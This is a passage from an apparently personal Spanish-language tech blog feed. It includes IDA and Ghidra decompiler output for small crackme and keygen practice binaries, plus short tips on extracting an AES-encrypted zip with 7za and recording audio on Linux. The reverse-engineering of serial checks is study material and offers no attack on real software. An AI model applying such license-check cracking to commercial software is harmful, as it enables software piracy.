</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"ENTER A NUMBER </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>, <span style="color:#f92672">&</span>ingresado_numero);
</span></span><span style="display:flex;"><span> dword_405374 <span style="color:#f92672">+=</span> ingresado_numero;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"ENTER ANOTHER NUMBER </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%d"</span>, <span style="color:#f92672">&</span>ingresado_numero);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( ingresado_numero <span style="color:#f92672"><</span> <span style="color:#ae81ff">5</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> dwTlsIndex <span style="color:#f92672">=</span> <span style="color:#a6e22e">TlsAlloc</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dwTlsIndex <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(hHandle[<span style="color:#ae81ff">0</span>], hHandle[<span style="color:#ae81ff">1</span>], hHandle[<span style="color:#ae81ff">2</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"TlsAlloc() is OK!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">15</span>; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, StartAddress, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#f92672">&</span>ThreadId);
</span></span><span style="display:flex;"><span> hHandle[i] <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v4 )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(v9, v10, hHandle[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"CreateThread() # % u is OK.Thread ID is % u</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, i, ThreadId);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( j <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; j <span style="color:#f92672"><</span> <span style="color:#ae81ff">15</span>; <span style="color:#f92672">++</span>j )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WaitForSingleObject</span>(hHandle[j], <span style="color:#ae81ff">0xFFFFFFFF</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"The WaitForSingleObject() return value is 0X % .8x</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v6);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">TlsFree</span>(dwTlsIndex) )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"The TLS index, dwTlsIndex was released!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#e6db74">L</span><span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Total genious!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dword_405374 <span style="color:#f92672">!=</span> <span style="color:#f92672">*</span>dword_40537C <span style="color:#f92672">+</span> <span style="color:#ae81ff">67</span> )
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#e6db74">L</span><span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Nopo :-( </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(v7);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 401336: variable 'v9' is possibly undefined
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 401336: variable 'v10' is possibly undefined
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 403494: using guessed type wchar_t aTotalGenious[17];
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405374: using guessed type int dword_405374;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 40537C: using guessed type int dword_40537C;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405380: using guessed type int ingresado_numero;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401350) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> __noreturn <span style="color:#a6e22e">vfwprintf</span>(FILE <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> Stream, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> Format, va_list ArgList)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v3; <span style="color:#75715e">// ecx
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v4; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v5; <span style="color:#75715e">// [esp-4h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> v3;
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">2u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401020</span>(v4, <span style="color:#e6db74">L</span><span style="color:#e6db74">" % s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v5);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ExitProcess</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 401350: variable 'v3' is possibly undefined
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (0040142F) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_40142F</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">__scrt_initialize_default_local_stdio_options</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 401A1F: using guessed type int __scrt_initialize_default_local_stdio_options(void);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401437) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_401437</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v0; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_401BB6</span>();
</span></span><span style="display:flex;"><span> v0 <span style="color:#f92672">=</span> <span style="color:#a6e22e">UserMathErrorFunction</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">set_new_mode</span>(v0);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004019DF) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">UserMathErrorFunction</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004019E2) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_4019E2</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004019EC) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">sub_4019EC</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">InitializeSListHead</span>(<span style="color:#f92672">&</span>ListHead);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004019F8) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#a6e22e">sub_4019F8</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401A3C) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">sub_401A3C</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> dword_40500C <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 40500C: using guessed type int dword_40500C;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401A48) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">sub_401A48</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">&</span>unk_40539C;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401A4E) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">sub_401A4E</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">&</span>unk_405398;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401BB6) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span>LPTOP_LEVEL_EXCEPTION_FILTER <span style="color:#a6e22e">sub_401BB6</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">SetUnhandledExceptionFilter</span>(__scrt_unhandled_exception_filter);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401C18) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">sub_401C18</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> dword_405360 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405360: using guessed type int dword_405360;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401C20) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">sub_401C20</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> ;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 401C20: could not find valid save-restore pair for edi
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401C4C) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_401C4C</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> ;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 401C4C: could not find valid save-restore pair for edi
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// nfuncs=81 queued=22 decompiled=22 lumina nreq=0 worse=0 better=0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// ALL OK, 22 function(s) have been successfully decompiled
</span></span></span></code></pre></div><h2 id="ghidra">Ghidra</h2>
<p>hay un if que ida no me muestra.
<code>if (0xe < iVar6) {</code></p>
-
Descomprimir zip: unsupported compression method 99
https://imlauera.github.io/post/descomprimir_zip/
Mon, 09 Sep 2024 08:12:35 -0300
https://imlauera.github.io/post/descomprimir_zip/
<p>Con <code>unzip</code> no lo pude descomprimir porque tenía <code>cifrado AES</code> pero con <code>7za</code> sí, una cosa de locos</p>
<p><code>7za x -p<PASSWORD> file.zip</code></p>
<p><a href="https://hackmd.io/@jw-sharing/Hkks015fs">https://hackmd.io/@jw-sharing/Hkks015fs</a></p>
-
Como grabar audio linux
https://imlauera.github.io/post/como_grabar_audio_linux/
Mon, 09 Sep 2024 08:07:12 -0300
https://imlauera.github.io/post/como_grabar_audio_linux/
<pre tabindex="0"><code>arecord --format=cd file.wav
</code></pre>
-
Keygen si puedes
https://imlauera.github.io/post/keygen/
Mon, 09 Sep 2024 06:41:05 -0300
https://imlauera.github.io/post/keygen/
<p>El keygen se encuentra en: <a href="https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1">https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1</a></p>
<p>El código que me generó el ida es:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><windows.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><defs.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdarg.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//-------------------------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Function declarations
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_invalidParameterHandler</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>expression, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>function, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>file, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> line, <span style="color:#66d9ef">uintptr_t</span> pReserved);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">pre_c_init</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">pre_cpp_init</span>();
</span></span><span style="display:flex;"><span><span style="color:#75715e">// int __cdecl _tmainCRTStartup();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int __cdecl WinMainCRTStartup();
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">mainCRTStartup</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">generaLetras</span>(<span style="color:#66d9ef">int</span> a1, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a2);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">__int64</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">generaNumero</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a1); <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">generaSerial</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a1, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a2);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">checkSerial</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a1, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>a2);
</span></span><span style="display:flex;"><span>INT_PTR <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">DialogProc</span>(HWND a1, <span style="color:#66d9ef">int</span> a2, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int16</span> a3);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__stdcall</span> <span style="color:#a6e22e">WinMain</span>(HINSTANCE hInst, HINSTANCE hPreInst, LPSTR lpszCmdLine, <span style="color:#66d9ef">int</span> nCmdShow);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">decode_pointer</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>codedptr);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">encode_pointer</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>ptr);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">setargv</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_raise_matherr</span>(<span style="color:#66d9ef">int</span> typ, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>name, <span style="color:#66d9ef">double</span> a3, <span style="color:#66d9ef">double</span> a1, <span style="color:#66d9ef">double</span> rslt);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_setusermatherr</span>(<span style="color:#66d9ef">int</span> (<span style="color:#f92672">*</span>f)(_exception <span style="color:#f92672">*</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">matherr</span>(_exception <span style="color:#f92672">*</span>pexcept);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">_report_error</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>msg, ...);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_write_memory_part_0</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>addr, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>src, <span style="color:#66d9ef">size_t</span> len);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">pei386_runtime_relocator</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_SEH_error_handler</span>(_EXCEPTION_RECORD <span style="color:#f92672">*</span>ExceptionRecord, <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>EstablisherFrame, _CONTEXT <span style="color:#f92672">*</span>ContextRecord, <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>DispatcherContext);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_mingw_init_ehandler</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">gnu_exception_handler</span>(EXCEPTION_POINTERS <span style="color:#f92672">*</span>exception_data);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">fpreset</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_do_global_dtors</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_do_global_ctors</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_main</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_security_init_cookie</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_report_gsfailure</span>(ULONG_PTR StackCookie);
</span></span><span style="display:flex;"><span>BOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_dyn_tls_dtor</span>(HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved);
</span></span><span style="display:flex;"><span>BOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_dyn_tls_init</span>(HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_tlregdtor</span>(_PVFV func);
</span></span><span style="display:flex;"><span>_onexit_t <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">mingw_onexit</span>(_onexit_t func);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">atexit</span>(_PVFV func);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">my_lconv_init</span>();
</span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">ValidateImageBase_part_0</span>(PBYTE pImageBase);
</span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">ValidateImageBase</span>(PBYTE pImageBase);
</span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">FindPESection</span>(PBYTE pImageBase, DWORD_PTR rva);
</span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">FindPESectionByName</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>pName);
</span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_GetSectionForAddress</span>(LPVOID p);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_mingw_GetSectionCount</span>();
</span></span><span style="display:flex;"><span>PIMAGE_SECTION_HEADER <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">FindPESectionExec</span>(<span style="color:#66d9ef">size_t</span> eNo);
</span></span><span style="display:flex;"><span>PBYTE <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">GetPEImageBase</span>();
</span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">IsNonwritableInCurrentImage</span>(PBYTE pTarget);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_enum_import_library_names</span>(<span style="color:#66d9ef">int</span> i);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">_mingwthr_run_key_dtors_part_0</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">__w64_mingwthr_add_key_dtor</span>(DWORD key, <span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span>dtor)(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">__w64_mingwthr_remove_key_dtor</span>(DWORD key);
</span></span><span style="display:flex;"><span>WINBOOL <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">_mingw_TLScallback</span>(HANDLE hDllHandle, DWORD reason, LPVOID reserved);
</span></span><span style="display:flex;"><span><span style="color:#75715e">// void __cdecl _set_app_type(_crt_app_type Type);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// __int64 __fastcall _getmainargs(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD); weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span><span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">get_invalid_parameter_handler</span>())(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span><span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">set_invalid_parameter_handler</span>(<span style="color:#66d9ef">void</span> (<span style="color:#f92672">*</span>new_handler)(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>)))(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">uintptr_t</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">// void *__cdecl malloc(size_t Size);
